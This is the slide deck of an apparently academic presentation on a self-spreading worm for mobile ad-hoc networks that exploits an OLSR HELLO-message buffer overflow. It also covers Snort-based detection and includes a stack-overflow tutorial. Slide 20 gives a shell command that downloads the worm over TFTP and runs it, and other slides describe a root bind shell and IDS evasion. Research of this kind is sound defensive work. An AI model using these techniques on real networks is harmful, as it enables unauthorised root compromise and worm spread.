Worm Creation & Detection in Mobile Ad-Hoc Networks (MANETs)

1. Worm Creation & Detection in Mobile Ad-Hoc Networks (MANETs) Jacob Lynch, Johnny Wong, Kevin Schmidt, Rick Jones

2. Table of Contents • Introduction • OLSR • OLSR Worm • OLSR Worm Detection • Demonstration • Conclusion & Future Work

3. Introduction • Viruses • Require human interaction to spread • Worms • Spread autonomously • Potential to spread much faster • Require automated defenses

4. Introduction • Worms could wreak havoc in MANETs • Routing protocol is possible attack vector • Goals: • Study a worm propagating using routing protocol • Develop a good way to detect such a worm

5. Common Link State Routing My neighborhood Step 1: Neighbor Discovery

6. Common Link State Routing My neighborhood Step 2: Topology Dissemination

7. Common Link State Routing Step 2: Topology Dissemination

8. Common Link State Routing Routing Table = F( + + … + ) Step 3: Routing Table Construction

9. Wired Network Wireless Network Topology Changes Return

10. OLSR • Optimization of classic link state algorithm • Multipoint relay (MPR) • Only MPRs forward broadcast messages during flooding • Only MPRs generate topology control messages • Partial link state information is distributed

11. Multi-Point Relay (MPR) Minimal (or near minimal) subset of 1-hop neighbors, the union of which provides symmetric links to all 2-hop neighbors

12. MPR Terminology 1-Hop, or “Neighbor” Set MPR Candidates Reference Node MPR Selector 2-Hop Set

13. MPR Selection N Y N Y N Y N Y

14. MPR Selection

15. MPR Flooding Tree

16. MPR Flooding

17. OLSR HELLO Messages • Used by OLSR to advertise a machine to next hop neighbors • Machines actively accept OLSR messages on port 698 UDP • Sent as broadcast with TTL=1 • Next-hop neighbors will form a symmetric link • Vary in size depending on number of neighbors • Packet size is included in the headers • For our purposes, this length won’t be confirmed in the processing of the packet via the use of strcpy 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Reserved | Mtime | Willingness | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Link Code | Reserved | Link Message Size | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Neighbor Interface Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Neighbor Interface Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | . . . | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Link Code | Reserved | Link Message Size | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Neighbor Interface Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Neighbor Interface Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

18. Forging a HELLO Message • The source of a HELLO message is not confirmed • Standard packet is unencrypted and simple in design • Our packet mimics those created naturally by the routing protocol, with extra data appended to the end of the buffer • Malicious data will overflow a buffer on the target machine – contains NOP sled, shellcode, and repeated return address • Message claims to be n bytes, but the full recv buffer contains n+x bytes – copying this buffer without bounds checking (strcpy) will overflow the stack

19. The Exploit Code • Return address jumps into the NOP sled • Shellcode performs a few essential purposes • Creates a listening socket on port 43690 (this is not originally our shellcode – ideally use a common port that might not trigger an IDS or something easily passed as valid such as 689) • On connect, /bin/sh is run using execve • Because OLSR runs as root, the remote shell will inherit these privileges giving the worm root access

20. Propagation • Forged HELLO message sent to a target machine • Target is exploited and is listening on our port • Host establishes a socket with the target, sending bash commands to the shell: cd /tmp;tftp <host> 500 -c get \"/tmp/johnny5\";chmod +x ./johnny5;./johnny5 <mode> <target> <history>;exit • Worm runs on the newly infected machine from square one and finds the next target • The worm is capable of leaving a backdoor open on any target machine

21. Propagation Stack Buffer2 Buffer1 EBP EIP Vars HELLO Host Target NOP Sled Shellcode Return Address -New host- A B Higher Addresses ./johnny5 /bin/sh • Open Ports: • 698 (OLSR) • 43690 (Worm - /bin/sh) HELLO PT689 Shell Cmds Pt43690 Req Worm TFTP Worm Binary

22. Target Discovery • Most worms scan IPs on the internet for machines with specific vulnerabilities • MANET machines are homogeneous, all are vulnerable • Do not need to scan, can spread more deliberately: • Sniff packets, gather IP addresses • Examine routing table for IP addresses

23. Target Discovery • We chose to examine the routing table • OLSR is proactive • Worm can be proactive too • May not be appropriate in AODV, for example • Our worm has two different modes of target discovery

24. Target Discovery • Mode 0: • The worm randomly infects one node, but checks history to make sure it hasn’t been infected before • May not want to check history in a low density network • Mode 1: • The worm looks for a path to a specific destination node; if no path is found, it randomly chooses its next hop

25. Target Discovery • Opportunistic propagation • Controlled propagation • Choice depends on the purpose of the worm

26. Detection • Buffer overflow attacks sends a long string of NOPs • \x90\x90\x90\x90\x90 • Snort has a rule that detects this transmission • Can be used to detect this worm • Increased CPU usage • Multilayered

27. Demonstration

28. Demonstration

29. Demonstration

30. Conclusion • MANETs are a great environment for a worm • Homogenous setups • Easy target discovery • Energy constraints may prevent effective defenses from being run • Many ways for a worm to wreck a MANET

31. Future Work • Vulnerabilities in other protocols • How network density / mobility affects worm propagation • Methods of stopping the spread of a detected worm • Ways to improve this worm and countermeasures

32. References • T. Clausen, P. Jacquet, A. Laouiti, P. Minet, P. Muhlethaler, A. Qayyam, L. Viennot, “Optimized Link State Routing (OLSR) RFC 3626,” http://hipercom.inria.fr/olsr/rfc3626.txt • Aleph One, “Smashing The Stack For Fun And Profit,” http://www.maths.leeds.ac.uk/~read/bofs.html • M. Zalewski, “Writing Internet Worms For Fun And Profit,” http://reactor-core.org/worms-for-fun-and-profit.html • J. Erickson, “Hacking: The Art of Exploitation” • J. C. Foster, “Buffer Overflow Attacks: Detect, Exploit, Prevent” • J. C. Foster, “Sockets, Shellcode, Porting, and Coding: Reverse Engineering Exploits and Tool Coding for Security Professionals”

33. Buffer Overflows • Two flavors: • Stack-based • Heap-based • Stack-based buffer overflows are more easily exploited than heap-based • We use a stack-based overflow in our worm • Heap-based overflows are not covered

34. Stack-based Buffer Overflows • Stack: contiguous block of data in memory • Stack pointer points to the top of the stack, the bottom of the stack is a fixed address • Logical frames are pushed and popped on/off the stack with function calls/returns • Frames contain function parameters, local variables, and the data necessary to recover the previous frame

35. More Stack Information • Stack grows downward toward lower memory address on Intel CPUs • Important registers: • EIP: saved address that points to next instruction when function returns • ESP: current position on stack, used for push/pop operations • EBP: static point of reference for a function, used to access variables/data with offset

36. Sample Stack • This is the C code void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function (1, 2, 3); } • This is the assembly code for calling function( ) Pushl $3 Pushl $2 Pushl $1 Call function

37. Sample Stack Cont’d • It is easy to see that if buffer1 is filled with more than 8 bytes, then the saved EBP and EIP will be overwritten.

38. strcpy • strcpy(buffer1, “randomjunkstring”); • buffer1 is only 5 bytes, but 16 bytes are being copied • strcpy doesn’t check length • buffer1 will overflow the saved EIP!

39. Usefulness • The EIP has been overwritten • Program will crash with a segmentation fault ( address to return to is missing) • Overwrite the EIP with a new address • Address points to a location in memory containing shellcode • The arbitrary shellcode will be run by the exploited application

40. Shellcode • Basically assembly language • Will be different depending on OS and CPU • We basically compile the assembly by converting each character to hex: • “printf(“\\x%02x”,((unsigned char*)code[i]);” • Prints out unsigned hex integer for each character in code (assembly)

41. Crafting a Useful Buffer • We will take our buffer of 16 bytes and use the first 12 for shellcode • The last 4 bytes will overwrite the return address, and point to the beginning of the buffer where the shellcode starts

42. Problems • We don’t know exactly where the EIP will be sometimes because of all the variables on the stack and because memory is allocated in 4 byte words • Don’t know exactly where in memory the start of the buffer will be; depends on environment

43. NOP Sled • NOP = no operation = \x90 (hex) • This is an operation that basically does nothing • If executed, the IP is basically just incremented • Now we can make a fairly large NOP “sled” and execute NOPs until we reach our shellcode:

44. Return Address • We don’t know exactly where EIP is in memory • We can just add more return addresses onto the end of our buffer, in order to increase our chances of overwriting the EIP • Number of NOPs + size of shellcode must be evenly divisible by 4